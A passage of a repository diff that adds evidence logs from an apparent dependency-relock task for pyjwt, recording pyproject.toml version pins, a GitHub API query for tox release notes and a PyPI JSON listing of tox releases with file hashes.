+/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml:12: "urllib3>=2.6.3", # CVE-2026-21441, CVE-2025-66471, CVE-2025-66418 +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml:18: "cryptography<49; sys_platform == 'darwin' and platform_machine == 'x86_64'", # 49.0.0 dropped x86_64 macOS wheels; release-binaries.yml still builds on macos-15-intel +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml:37: "pytest>=9.0.3", +/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml:9: "coverage[toml]==7.10.7", +/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml:10: "cryptography>=3.4.0", +/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml:12: "pytest>=8.4.2,<9.0.0", +/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml:23: "coverage[toml]==7.10.7", +/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml:24: "pytest>=8.4.2,<9.0.0", +/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml:64:requires-python = ">=3.9" +/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml:67:crypto = [ +/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml:68: "cryptography>=3.4.0", +/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml:111: "cryptography", +/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml:112: "cryptography.*", + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-official-release.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-official-release.txt new file mode 100644 index 000000000..9b1579f3f --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-official-release.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "gh", "api", "repos/tox-dev/tox/releases/tags/4.64.5", "--jq", "{tag_name,published_at,html_url,body}"] +cwd: +started_utc: 2026-09-30T17:19:27.429633+00:00 +ended_utc: 2026-09-30T17:19:27.860325+00:00 +exit_code: 0 + +stdout: +{"body":"\u003c!-- Release notes generated using configuration in .github/release.yaml at 4.64.5 --\u003e\n\n## What's Changed\n* fix(github): restore issue template metadata by @gaborbernat in https://github.com/tox-dev/tox/pull/4100\n* fix(config): fail on an invalid platform regex by @00200200 in https://github.com/tox-dev/tox/pull/4104\n\n## New Contributors\n* @00200200 made their first contribution in https://github.com/tox-dev/tox/pull/4104\n\n**Full Changelog**: https://github.com/tox-dev/tox/compare/4.64.4...4.64.5","html_url":"https://github.com/tox-dev/tox/releases/tag/4.64.5","published_at":"2026-09-29T16:37:45Z","tag_name":"4.64.5"} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-pypi-tool-source.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-pypi-tool-source.txt new file mode 100644 index 000000000..a8432e755 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-pypi-tool-source.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "https://pypi.org/pypi/tox/json"] +cwd: +started_utc: 2026-09-30T17:07:03.660032+00:00 +ended_utc: 2026-09-30T17:07:03.767505+00:00 +exit_code: 0 + +stdout: +{"info":{"author":null,"author_email":"Bernát Gábor ","bugtrack_url":null,"classifiers":["Development Status :: 5 - Production/Stable","Framework :: tox","Intended Audience :: Developers","Operating System :: MacOS :: MacOS X","Operating System :: Microsoft :: Windows","Operating System :: POSIX","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.15","Topic :: Software Development :: Libraries","Topic :: Software Development :: Testing","Topic :: Utilities"],"description":"# tox\n\n[![PyPI](https://img.shields.io/pypi/v/tox)](https://pypi.org/project/tox/)\n[![Supported Python versions](https://img.shields.io/pypi/pyversions/tox.svg)](https://pypi.org/project/tox/)\n[![Downloads](https://static.pepy.tech/badge/tox/month)](https://pepy.tech/project/tox)\n[![Documentation status](https://readthedocs.org/projects/tox/badge/?version=latest)](https://tox.readthedocs.io/en/latest/?badge=latest)\n[![check](https://github.com/tox-dev/tox/actions/workflows/check.yaml/badge.svg)](https://github.com/tox-dev/tox/actions/workflows/check.yaml)\n\n`tox` aims to automate and standardize testing in Python. It is part of a larger vision of easing the packaging, testing\nand release process of Python software (alongside [pytest](https://docs.pytest.org/en/latest/) and\n[devpi](https://www.devpi.net)).\n\ntox is a generic virtual environment management and test command line tool you can use for:\n\n- checking your package builds and installs correctly under different environments (such as different Python\n implementations, versions or installation dependencies),\n- running your tests in each of the environments with the test tool of choice,\n- acting as a frontend to continuous integration servers, greatly reducing boilerplate and merging CI and shell-based\n testing.\n\nPlease read our [user guide](https://tox.wiki/en/latest/tutorial/getting-started.html) for an example and more detailed\nintroduction, or watch [this YouTube video](https://www.youtube.com/watch?v=SFqna5ilqig) that presents the problem space\nand how tox solves it.\n","description_content_type":"text/markdown","docs_url":null,"download_url":null,"downloads":{"last_day":-1,"last_month":-1,"last_week":-1},"dynamic":null,"home_page":null,"keywords":"environments, isolated, testing, virtual","license":null,"license_expression":"MIT","license_files":["LICENSE"],"maintainer":null,"maintainer_email":"Bernát Gábor , Jürgen Gmach , Rahul Devikar ","name":"tox","package_url":"https://pypi.org/project/tox/","platform":null,"project_url":"https://pypi.org/project/tox/","project_urls":{"Documentation":"https://tox.wiki","Homepage":"https://tox.wiki","Release Notes":"https://tox.wiki/en/latest/changelog.html","Source":"https://github.com/tox-dev/tox","Tracker":"https://github.com/tox-dev/tox/issues"},"provides_extra":["completion","testing"],"release_url":"https://pypi.org/project/tox/4.64.5/","requires_dist":["cachetools>=7.0.3","colorama>=0.4.6","filelock>=3.25","packaging>=26","platformdirs>=4.9.4","pluggy>=1.6","pyproject-api>=1.10","python-discovery>=1.4.4","tomli-w>=1.2","tomli>=2.4; python_version < \"3.11\"","typing-extensions>=4.15; python_version < \"3.13\"","virtualenv>=21.1","argcomplete>=3.6.3; extra == \"completion\"","devpi-process>=1.1.1; extra == \"testing\"","pytest-mock>=3.15.1; extra == \"testing\"","pytest>=9.0.2; extra == \"testing\""],"requires_python":">=3.10","summary":"tox is a generic virtualenv management and test command line tool","version":"4.64.5","yanked":false,"yanked_reason":null},"last_serial":41603597,"ownership":{"organization":"tox","roles":[]},"releases":{"0.0.0":[{"comment_text":"","core-metadata":{"sha256":"0a2a78b64e9fdaf382d701e1c74156ebfd4d3f3d308801b8efb560a222155cf8"},"digests":{"blake2b_256":"53e426b3952245d24fc65c3c8f5c6c06ab38ccbadd395e1ef7c8a032d6cea1d7","md5":"ccd4f208c85e2f6dbda588d1abd1b7eb","sha256":"78b5b0a08af119baaa50f4a8e57725189df8a85fe8368f5e8f4fabea3f1a5dd9"},"downloads":-1,"filename":"tox-0.0.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"ccd4f208c85e2f6dbda588d1abd1b7eb","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":72092,"upload_time":"2018-10-07T11:56:11","upload_time_iso_8601":"2018-10-07T11:56:11.000562Z","url":"https://files.pythonhosted.org/packages/53/e4/26b3952245d24fc65c3c8f5c6c06ab38ccbadd395e1ef7c8a032d6cea1d7/tox-0.0.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"080f0aea0686f6e6c1c487f1c3c2462ef66d17842cbc6b2aeadc5e429f287ffc","md5":"d5578fca8a24bccd81ac2ee06c975c50","sha256":"b74b05d0ecfa38e16e9fd5eedc6fabb052da15652830ee4ce851c2d41eb8e096"},"downloads":-1,"filename":"tox-0.0.0.tar.gz","has_sig":false,"md5_digest":"d5578fca8a24bccd81ac2ee06c975c50","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":147579,"upload_time":"2018-10-07T11:56:13","upload_time_iso_8601":"2018-10-07T11:56:13.296758Z","url":"https://files.pythonhosted.org/packages/08/0f/0aea0686f6e6c1c487f1c3c2462ef66d17842cbc6b2aeadc5e429f287ffc/tox-0.0.0.tar.gz","yanked":false,"yanked_reason":null}],"0.5":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"a7bc0db817ac7589bc1b442af90bcd6f798eb6d7817c606a514be0592736c344","md5":"7dc8a82066c053e176e9a9f4d6964800","sha256":"54eecf42048d092d360786f7a162d90b630618d10893436211813cb14e9ab8e1"},"downloads":-1,"filename":"tox-0.5.tar.gz","has_sig":false,"md5_digest":"7dc8a82066c053e176e9a9f4d6964800","packagetype":"sdist","python_version":"source","requires_python":null,"size":40853,"upload_time":"2010-07-12T13:30:18","upload_time_iso_8601":"2010-07-12T13:30:18.478007Z","url":"https://files.pythonhosted.org/packages/a7/bc/0db817ac7589bc1b442af90bcd6f798eb6d7817c606a514be0592736c344/tox-0.5.tar.gz","yanked":false,"yanked_reason":null}],"0.6":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"3f24579beded0c5616833f73238270c62b4c46edb7284f38a9f39d4321094d85","md5":"5a89c60878ebe7bb9c78d470fb616a8b","sha256":"2ccc0304c02934b41c2b17bdf2b60e66497b87888feb84f7701e6b11bbf47be1"},"downloads":-1,"filename":"tox-0.6.tar.gz","has_sig":false,"md5_digest":"5a89c60878ebe7bb9c78d470fb616a8b","packagetype":"sdist","python_version":"source","requires_python":null,"size":41424,"upload_time":"2010-07-12T20:21:42","upload_time_iso_8601":"2010-07-12T20:21:42.762015Z","url":"https://files.pythonhosted.org/packages/3f/24/579beded0c5616833f73238270c62b4c46edb7284f38a9f39d4321094d85/tox-0.6.tar.gz","yanked":false,"yanked_reason":null}],"0.7":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"dd733a5ea345bd3b618e6ae2c1b32b528aad5da066131d52c10e71850dc3556f","md5":"e84d062ec0946f42485ae599c858d933","sha256":"bee408328b38642ead9d49e567cacb2a8d6a365b5d9a703d241f120d9937db0b"},"downloads":-1,"filename":"tox-0.7.tar.gz","has_sig":false,"md5_digest":"e84d062ec0946f42485ae599c858d933","packagetype":"sdist","python_version":"source","requires_python":null,"size":45934,"upload_time":"2010-07-14T22:48:53","upload_time_iso_8601":"2010-07-14T22:48:53.186796Z","url":"https://files.pythonhosted.org/packages/dd/73/3a5ea345bd3b618e6ae2c1b32b528aad5da066131d52c10e71850dc3556f/tox-0.7.tar.gz","yanked":false,"yanked_reason":null}],"0.8":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"ab2346aaa59d291b03381fbef9932632224ca1a04c93fae2d928827fa81e3a7f","md5":"a515a1114c0e14b45b0a8fb6fd4ceb66","sha256":"7694b892d23b8fad4b0d837d4e98f569ded9a59f31321428a60d73e2b9ba5698"},"downloads":-1,"filename":"tox-0.8.tar.gz","has_sig":false,"md5_digest":"a515a1114c0e14b45b0a8fb6fd4ceb66","packagetype":"sdist","python_version":"source","requires_python":null,"size":41828,"upload_time":"2010-07-31T01:41:24","upload_time_iso_8601":"2010-07-31T01:41:24.344410Z","url":"https://files.pythonhosted.org/packages/ab/23/46aaa59d291b03381fbef9932632224ca1a04c93fae2d928827fa81e3a7f/tox-0.8.tar.gz","yanked":false,"yanked_reason":null}],"0.9":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"33c7a71b18ac07656ec2c1bbe2ec2261777215bdbce000b592ec394d7650815d","md5":"9ff49abe66460bb6ff345c4fe528a951","sha256":"f36b876186ccfe702b979a85b3e5d57f491228328f414d488b0cf4fbd5fb5039"},"downloads":-1,"filename":"tox-0.9.zip","has_sig":false,"md5_digest":"9ff49abe66460bb6ff345c4fe528a951","packagetype":"sdist","python_version":"source","requires_python":null,"size":57001,"upload_time":"2010-11-25T21:05:41","upload_time_iso_8601":"2010-11-25T21:05:41.121730Z","url":"https://files.pythonhosted.org/packages/33/c7/a71b18ac07656ec2c1bbe2ec2261777215bdbce000b592ec394d7650815d/tox-0.9.zip","yanked":false,"yanked_reason":null}],"1.0":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"05f6bc729c64d12199979cbdfc466d408abc19b3ec9a638208e02970c3298e44","md5":"9170705183ddf2f4b379d16d52196b71","sha256":"37346db986425d1b89a86f5c211f11161f1dccfe656f4c706e51f703b2ed9285"},"downloads":-1,"filename":"tox-1.0.zip","has_sig":false,"md5_digest":"9170705183ddf2f4b379d16d52196b71","packagetype":"sdist","python_version":"source","requires_python":null,"size":61367,"upload_time":"2011-05-28T16:59:00","upload_time_iso_8601":"2011-05-28T16:59:00.873899Z","url":"https://files.pythonhosted.org/packages/05/f6/bc729c64d12199979cbdfc466d408abc19b3ec9a638208e02970c3298e44/tox-1.0.zip","yanked":false,"yanked_reason":null}],"1.1":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"5fafdbfe232d5e38f77624d74840e9e24f522bc93dddf8630bb14b4a287fb2bb","md5":"7e6d103d2d944869aee189dc05a6a81f","sha256":"0aa2dfbbd5ab8df59df03bc155137587d9cde58e7c0c5d331fd1ac45c406c505"},"downloads":-1,"filename":"tox-1.1.zip","has_sig":false,"md5_digest":"7e6d103d2d944869aee189dc05a6a81f","packagetype":"sdist","python_version":"source","requires_python":null,"size":99297,"upload_time":"2011-07-09T12:09:02","upload_time_iso_8601":"2011-07-09T12:09:02.843173Z","url":"https://files.pythonhosted.org/packages/5f/af/dbfe232d5e38f77624d74840e9e24f522bc93dddf8630bb14b4a287fb2bb/tox-1.1.zip","yanked":false,"yanked_reason":null}],"1.2":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"29722f5cc0c8ad2e56a376d003b01de564975d851c65a8417af2c2f8402c6267","md5":"9e1d71c63a1c9922385e590123f1d143","sha256":"1bec8f8390c61010b5d38460cb44e384353b151c88017eb3341e439a8dd72155"},"downloads":-1,"filename":"tox-1.2.zip","has_sig":false,"md5_digest":"9e1d71c63a1c9922385e590123f1d143","packagetype":"sdist","python_version":"source","requires_python":null,"size":66284,"upload_time":"2011-11-10T19:40:55","upload_time_iso_8601":"2011-11-10T19:40:55.138321Z","url":"https://files.pythonhosted.org/packages/29/72/2f5cc0c8ad2e56a376d003b01de564975d851c65a8417af2c2f8402c6267/tox-1.2.zip","yanked":false,"yanked_reason":null}],"1.3":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"ade7db3808b52a4c1705dab873a2041b6ace36e469b193d756616c1e15b00b3a","md5":"d621b0b681baf853d12f13a99a4b3db0","sha256":"24d9b264183de202f871b1c8d6f557e40fd14e2f2b4aac4640fccde00e503094"},"downloads":-1,"filename":"tox-1.3.zip","has_sig":false,"md5_digest":"d621b0b681baf853d12f13a99a4b3db0","packagetype":"sdist","python_version":"source","requires_python":null,"size":67862,"upload_time":"2011-12-21T09:40:18","upload_time_iso_8601":"2011-12-21T09:40:18.680002Z","url":"https://files.pythonhosted.org/packages/ad/e7/db3808b52a4c1705dab873a2041b6ace36e469b193d756616c1e15b00b3a/tox-1.3.zip","yanked":false,"yanked_reason":null}],"1.4":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"69b810a57d429f4f44e524f4fb3c396e6722944a94db81147f8590efdc089d1b","md5":"7aba521e03285e1a21da85f40819b0a2","sha256":"d4f7d7df719aacd50ce6c7ca481c2a49c22fbe8632d26d6e61aac499e1786874"},"downloads":-1,"filename":"tox-1.4.zip","has_sig":false,"md5_digest":"7aba521e03285e1a21da85f40819b0a2","packagetype":"sdist","python_version":"source","requires_python":null,"size":76147,"upload_time":"2012-06-13T17:01:34","upload_time_iso_8601":"2012-06-13T17:01:34.023782Z","url":"https://files.pythonhosted.org/packages/69/b8/10a57d429f4f44e524f4fb3c396e6722944a94db81147f8590efdc089d1b/tox-1.4.zip","yanked":false,"yanked_reason":null}],"1.4.1":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"cf0d6319f32639073e34c7687ec1064bc7c554578b33dc519abd466341a802f7","md5":"4e68fa5755b3dfcb5a16b3d3cde3c196","sha256":"04c3bc88b8a74b306939e6000e5f57e3911699eebb3db46ceccb3ca60ce2c365"},"downloads":-1,"filename":"tox-1.4.1.zip","has_sig":false,"md5_digest":"4e68fa5755b3dfcb5a16b3d3cde3c196","packagetype":"sdist","python_version":"source","requires_python":null,"size":76920,"upload_time":"2012-07-03T11:34:06","upload_time_iso_8601":"2012-07-03T11:34:06.620749Z","url":"https://files.pythonhosted.org/packages/cf/0d/6319f32639073e34c7687ec1064bc7c554578b33dc519abd466341a802f7/tox-1.4.1.zip","yanked":false,"yanked_reason":null}],"1.4.2":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"f7197109ce841cc93edf95e0f6ba24221d21e1165ef9b0fa4ae4f68d5fa27b90","md5":"dc52acf22eb57eaa33e704f8a54e7b34","sha256":"a8a5b3ad5ff0907c13203c5b36085f8dafbdd367e0c9211aa24797990a6f3d2f"},"downloads":-1,"filename":"tox-1.4.2.zip","has_sig":false,"md5_digest":"dc52acf22eb57eaa33e704f8a54e7b34","packagetype":"sdist","python_version":"source","requires_python":null,"size":77565,"upload_time":"2012-07-20T13:05:06","upload_time_iso_8601":"2012-07-20T13:05:06.948812Z","url":"https://files.pythonhosted.org/packages/f7/19/7109ce841cc93edf95e0f6ba24221d21e1165ef9b0fa4ae4f68d5fa27b90/tox-1.4.2.zip","yanked":false,"yanked_reason":null}],"1.4.3":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"1425e8be8f9799ce6fef0d20824139e3302fcf71a45cce5a95c5ff28170f4031","md5":"3727d5b0600d92edf2229a7ce6a0f752","sha256":"b998d809d954fd9c30476a56bbbbf20a1a5adaa3e4cc5eb052c7051a682b2021"},"downloads":-1,"filename":"tox-1.4.3.tar.gz","has_sig":false,"md5_digest":"3727d5b0600d92edf2229a7ce6a0f752","packagetype":"sdist","python_version":"source","requires_python":null,"size":71661,"upload_time":"2013-03-01T09:44:11","upload_time_iso_8601":"2013-03-01T09:44:11.091600Z","url":"https://files.pythonhosted.org/packages/14/25/e8be8f9799ce6fef0d20824139e3302fcf71a45cce5a95c5ff28170f4031/tox-1.4.3.tar.gz","yanked":false,"yanked_reason":null}],"1.5.0":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"fef96336180d0f4925817cc13a5385b042b03bb1592164dde6b1583072bc0474","md5":"7e32507119918f79362cebb74c4f67e7","sha256":"0cde6be977c57289551bf316871b888ad78f94edca8972374a68a9d1bfcd5226"},"downloads":-1,"filename":"tox-1.5.0.tar.gz","has_sig":false,"md5_digest":"7e32507119918f79362cebb74c4f67e7","packagetype":"sdist","python_version":"source","requires_python":null,"size":73866,"upload_time":"2013-06-22T13:05:36","upload_time_iso_8601":"2013-06-22T13:05:36.980809Z","url":"https://files.pythonhosted.org/packages/fe/f9/6336180d0f4925817cc13a5385b042b03bb1592164dde6b1583072bc0474/tox-1.5.0.tar.gz","yanked":false,"yanked_reason":null}],"1.6.0":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"65a506fac9c451346d035d8170b86b0063b95d2dd55aaebd85866b15de2e39b7","md5":"c602e6d5439bb802dccd597cdbe1db26","sha256":"b147b3dc93d4c1ecfd1e33d6094c5af57769c97ce995fab1ba9d8cdc14f2bc08"},"downloads":-1,"filename":"tox-1.6.0.tar.gz","has_sig":false,"md5_digest":"c602e6d5439bb802dccd597cdbe1db26","packagetype":"sdist","python_version":"source","requires_python":null,"size":130734,"upload_time":"2013-08-15T13:39:15","upload_time_iso_8601":"2013-08-15T13:39:15.029616Z","url":"https://files.pythonhosted.org/packages/65/a5/06fac9c451346d035d8170b86b0063b95d2dd55aaebd85866b15de2e39b7/tox-1.6.0.tar.gz","yanked":false,"yanked_reason":null}],"1.6.1":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"6d3951f22b8fc81076adaef7fee3ff249472439f63dfba73ed154a655f8c3877","md5":"853e9024d4e51f68045da8907def81c5","sha256":"05c72b3b7481b47f48f63436c7355783dc8be77ffd7c2bc948b0b7aa2dd4d0de"},"downloads":-1,"filename":"tox-1.6.1.tar.gz","has_sig":false,"md5_digest":"853e9024d4e51f68045da8907def81c5","packagetype":"sdist","python_version":"source","requires_python":null,"size":131654,"upload_time":"2013-09-04T14:17:35","upload_time_iso_8601":"2013-09-04T14:17:35.671412Z","url":"https://files.pythonhosted.org/packages/6d/39/51f22b8fc81076adaef7fee3ff249472439f63dfba73ed154a655f8c3877/tox-1.6.1.tar.gz","yanked":false,"yanked_reason":null}],"1.7.0":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"0664ce7860dc170418503bb2029dfb65eeae3c96cac2b2c5eae6a9fb8f81d228","md5":"5314ceca2b179ad4a9c79f4d817b8a99","sha256":"4cac3410af8b62f50a6496962af3884bdb1f99d30439511489e8a807e89379f8"},"downloads":-1,"filename":"tox-1.7.0.tar.gz","has_sig":false,"md5_digest":"5314ceca2b179ad4a9c79f4d817b8a99","packagetype":"sdist","python_version":"source","requires_python":null,"size":84492,"upload_time":"2014-01-29T13:22:58","upload_time_iso_8601":"2014-01-29T13:22:58.431539Z","url":"https://files.pythonhosted.org/packages/06/64/ce7860dc170418503bb2029dfb65eeae3c96cac2b2c5eae6a9fb8f81d228/tox-1.7.0.tar.gz","yanked":false,"yanked_reason":null}],"1.7.1":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"b9263935a30dc27cc53129a147b2ded65aaca5424ca00ed3f4374044ffafb8ab","md5":"ec85bbfc7bd29600e91aa0e9754645d0","sha256":"869cb9e07847a9f0238f5a5029f3621504a5a3ec05af6d878e879b354c6851c4"},"downloads":-1,"filename":"tox-1.7.1.tar.gz","has_sig":false,"md5_digest":"ec85bbfc7bd29600e91aa0e9754645d0","packagetype":"sdist","python_version":"source","requires_python":null,"size":84635,"upload_time":"2014-03-28T14:31:51","upload_time_iso_8601":"2014-03-28T14:31:51.708327Z","url":"https://files.pythonhosted.org/packages/b9/26/3935a30dc27cc53129a147b2ded65aaca5424ca00ed3f4374044ffafb8ab/tox-1.7.1.tar.gz","yanked":false,"yanked_reason":null}],"1.7.2":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"7dc3c1894dd91127a427460d8a6f7a0b11c3b586d4ce0796b90c99e3d50f92c9","md5":"0d9b3acb1a9252659d753b0ae6b9b264","sha256":"267fc86871ae2a398d3e7b4b03e8113b3305533c72ef8de616cbc7258039f1f8"},"downloads":-1,"filename":"tox-1.7.2.tar.gz","has_sig":false,"md5_digest":"0d9b3acb1a9252659d753b0ae6b9b264","packagetype":"sdist","python_version":"source","requires_python":null,"size":84875,"upload_time":"2014-07-15T07:52:49","upload_time_iso_8601":"2014-07-15T07:52:49.857648Z","url":"https://files.pythonhosted.org/packages/7d/c3/c1894dd91127a427460d8a6f7a0b11c3b586d4ce0796b90c99e3d50f92c9/tox-1.7.2.tar.gz","yanked":false,"yanked_reason":null}],"1.8.0":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"a08e95b5f5e3d2314eaf241ad93f0a2a8d9509bd48184f2a74ec8ed49165694d","md5":"aa32b1859c819ee293b61aecdfab7c0f","sha256":"4583b8340279d8cf080082550f7a5f14ba838bed3b217a37f0ea305c271281c7"},"downloads":-1,"filename":"tox-1.8.0.tar.gz","has_sig":false,"md5_digest":"aa32b1859c819ee293b61aecdfab7c0f","packagetype":"sdist","python_version":"source","requires_python":null,"size":89667,"upload_time":"2014-09-24T13:53:33","upload_time_iso_8601":"2014-09-24T13:53:33.149542Z","url":"https://files.pythonhosted.org/packages/a0/8e/95b5f5e3d2314eaf241ad93f0a2a8d9509bd48184f2a74ec8ed49165694d/tox-1.8.0.tar.gz","yanked":false,"yanked_reason":null}],"1.8.1":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"bbe33a9f07db8a0c2353dd4f20bbe375ccdec3a7c0f62ec38974948c4d24a145","md5":"c4423cc6512932b37e5b0d1faa87bef2","sha256":"44ca1e038cb57fe40ac0dff8b67b258efe05517bf9b4b4b07035f8be830aac01"},"downloads":-1,"filename":"tox-1.8.1.tar.gz","has_sig":false,"md5_digest":"c4423cc6512932b37e5b0d1faa87bef2","packagetype":"sdist","python_version":"source","requires_python":null,"size":90120,"upload_time":"2014-10-24T18:46:34","upload_time_iso_8601":"2014-10-24T18:46:34.483806Z","url":"https://files.pythonhosted.org/packages/bb/e3/3a9f07db8a0c2353dd4f20bbe375ccdec3a7c0f62ec38974948c4d24a145/tox-1.8.1.tar.gz","yanked":false,"yanked_reason":null}],"1.9.0":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"578da59ea807bb7d455d4d6fcc8918227907c61d78fb7f34333acf5ea3ee479a","md5":"429e05f0c4fc705142389ab0728929bc","sha256":"817ad1eaeb6b46e68b322d9ff41244be3c15315833df5762216ffe3629a21219"},"downloads":-1,"filename":"tox-1.9.0.tar.gz","has_sig":false,"md5_digest":"429e05f0c4fc705142389ab0728929bc","packagetype":"sdist","python_version":"source","requires_python":null,"size":92574,"upload_time":"2015-02-24T15:42:11","upload_time_iso_8601":"2015-02-24T15:42:11.962826Z","url":"https://files.pythonhosted.org/packages/57/8d/a59ea807bb7d455d4d6fcc8918227907c61d78fb7f34333acf5ea3ee479a/tox-1.9.0.tar.gz","yanked":false,"yanked_reason":null}],"1.9.1":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"986fda78590738385183bc148ea99093cb74dd433fcce0fe11db324eef756036","md5":"a67526e09ea11542ecfec8141af20d8d","sha256":"7a1ac4de63d05571db44a351d033030fc3b3d9639714d6dbfd74840004b49566"},"downloads":-1,"filename":"tox-1.9.1.tar.gz","has_sig":false,"md5_digest":"a67526e09ea11542ecfec8141af20d8d","packagetype":"sdist","python_version":"source","requires_python":null,"size":93388,"upload_time":"2015-03-23T09:25:30","upload_time_iso_8601":"2015-03-23T09:25:30.311090Z","url":"https://files.pythonhosted.org/packages/98/6f/da78590738385183bc148ea99093cb74dd433fcce0fe11db324eef756036/tox-1.9.1.tar.gz","yanked":false,"yanked_reason":null}],"1.9.2":[{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"394beac6e23df2d2987a66b29942a6b641048c2bd484dc7251612262ea2fabc0","md5":"f4db4d6a82d6a651e457ba55ef370258","sha256":"3125a15da7381f59f835a25bd259a84acb7a69858c81e386c50027bd842bb91b"},"downloads":-1,"filename":"tox-1.9.2.tar.gz","has_sig":false,"md5_digest":"f4db4d6a82d6a651e457ba55ef370258","packagetype":"sdist","python_version":"source","requires_python":null,"size":93029,"upload_time":"2015-03-23T21:02:15","upload_time_iso_8601":"2015-03-23T21:02:15.119396Z","url":"https://files.pythonhosted.org/packages/39/4b/eac6e23df2d2987a66b29942a6b641048c2bd484dc7251612262ea2fabc0/tox-1.9.2.tar.gz","yanked":false,"yanked_reason":null}],"2.0.0":[{"comment_text":"","core-metadata":{"sha256":"a8614e3b31d34587546469d787311cb47dfc12d60cd871ff569da845b94b5459"},"digests":{"blake2b_256":"2e7a3657cebaae2163d513464b9550448e2ccbec95e049f0f40bbd40122e113e","md5":"720d22678a9c379394c941fc0c8d0503","sha256":"18d0f28d855ef4f062e7fff9d80f7c25227e275dcf4155c575feae51c603a936"},"downloads":-1,"filename":"tox-2.0.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"720d22678a9c379394c941fc0c8d0503","packagetype":"bdist_wheel","python_version":"2.7","requires_python":null,"size":39793,"upload_time":"2015-05-12T21:45:26","upload_time_iso_8601":"2015-05-12T21:45:26.873036Z","url":"https://files.pythonhosted.org/packages/2e/7a/3657cebaae2163d513464b9550448e2ccbec95e049f0f40bbd40122e113e/tox-2.0.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"a0297b10ee45e00b683356eb8aa40d0c7ed4ea90a8ec4e108aa75450714c078d","md5":"5dd9746ba9ef8e93531fd41010581f8b","sha256":"8bc1810fbbcef94504966e57e62c5a426d906cd1b6fa0619839c82afc660171f"},"downloads":-1,"filename":"tox-2.0.0.tar.gz","has_sig":false,"md5_digest":"5dd9746ba9ef8e93531fd41010581f8b","packagetype":"sdist","python_version":"source","requires_python":null,"size":101413,"upload_time":"2015-05-12T21:45:30","upload_time_iso_8601":"2015-05-12T21:45:30.769037Z","url":"https://files.pythonhosted.org/packages/a0/29/7b10ee45e00b683356eb8aa40d0c7ed4ea90a8ec4e108aa75450714c078d/tox-2.0.0.tar.gz","yanked":false,"yanked_reason":null}],"2.0.1":[{"comment_text":"","core-metadata":{"sha256":"b75d6b648cc8a5e1a3ffb378af9ad44783600a95be2958bb702d1ac1bfd2ede9"},"digests":{"blake2b_256":"931a1856c8b98fa2c88635a4029085613ccde603b9e7911ba1523e87fcf0e24b","md5":"f70f38f0835c74bdd9edef9a250e55e4","sha256":"fb13b3003d1d4241e11c63dba4f1414846350469e2605ef4d23f95ffe25d1924"},"downloads":-1,"filename":"tox-2.0.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"f70f38f0835c74bdd9